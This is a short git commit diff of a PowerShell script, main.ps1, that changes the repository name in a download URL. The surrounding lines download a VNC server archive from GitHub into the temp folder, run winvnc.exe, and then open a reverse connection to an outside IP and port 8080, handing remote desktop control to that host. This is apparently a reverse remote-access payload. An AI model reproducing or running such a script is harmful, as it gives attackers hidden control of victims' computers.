Update main.ps1

This commit is contained in:
egieb
2025-06-17 12:50:41 +00:00
committed by GitHub
parent 995f8ac667
commit 389c9cae18
+2 -2
View File
@@ -20,7 +20,7 @@ $ip = "$ip"
$port = '8080'
$tempFolder = "$env:temp\vnc"
$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip"
$vncDownload = "https://github.com/beigew0rm/assets/raw/main/winvnc.zip"
$vncZip = "$tempFolder\winvnc.zip"
if (!(Test-Path -Path $tempFolder)) {
@@ -38,4 +38,4 @@ rm -Path $vncZip -Force
$proc = "$tempFolder\winvnc.exe"
Start-Process $proc -ArgumentList ("-run")
sleep 2
Start-Process $proc -ArgumentList ("-connect $ip::$port")
Start-Process $proc -ArgumentList ("-connect $ip::$port")